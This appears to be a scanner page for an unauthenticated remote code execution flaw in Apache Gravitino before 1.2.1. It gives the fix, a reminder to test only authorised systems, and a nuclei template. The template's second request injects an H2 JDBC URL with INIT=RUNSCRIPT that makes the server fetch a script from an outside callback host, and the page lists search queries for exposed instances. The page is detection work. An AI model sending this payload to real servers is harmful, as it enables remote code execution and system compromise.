Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution

criticalseverity

9.1CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

Apache Gravitino < 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.

Impact

Unauthenticated attackers can execute arbitrary Java code on the server, potentially leading to full system compromise.

Fix

Upgrade to version 1.2.1 or later.

How to confirm it

Send: POST /api/metalakes
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: POST /api/metalakes/{{ml_name}}/catalogs/testConnection
Positive when: contains(interactsh_protocol, "http") and contains(interactsh_request, "/{{filename}}.sql") and status_code == 500

Run it with nuclei: nuclei -id CVE-2026-41042 -u <target>

The full check

id: CVE-2026-41042

info:
  name: Apache Gravitino < 1.2.1 - Unauthenticated Remote Code Execution
  author: buzhimingdeaikun
  severity: critical
  description: |
    Apache Gravitino < 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.
  impact: |
    Unauthenticated attackers can execute arbitrary Java code on the server, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 1.2.1 or later.
  reference:
    - https://github.com/advisories/GHSA-59xm-4m8c-g3xj
    - https://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41042
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-41042
    epss-score: 0.01512
    epss-percentile: 0.7469
    cwe-id: CWE-20
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: gravitino
    shodan-query: title:"Gravitino"
    fofa-query: title="Gravitino"
  tags: cve,cve2026,apache,gravitino,rce,unauth,oast,h2,jdbc

variables:
  ml_name: "{{rand_base(6)}}"
  db_name: "{{rand_base(8)}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/metalakes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{ml_name}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        POST /api/metalakes/{{ml_name}}/catalogs/testConnection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/vnd.gravitino.v1+json

        {"name":"h2rce","type":"RELATIONAL","provider":"jdbc-mysql","properties":{"jdbc-url":"jdbc:h2:mem:{{db_name}};INIT=RUNSCRIPT FROM 'http://{{interactsh-url}}/{{filename}}.sql'","jdbc-user":"sa","jdbc-password":"","jdbc-driver":"org.h2.Driver"}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "http")
          - contains(interactsh_request, "/{{filename}}.sql")
          - status_code == 500
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from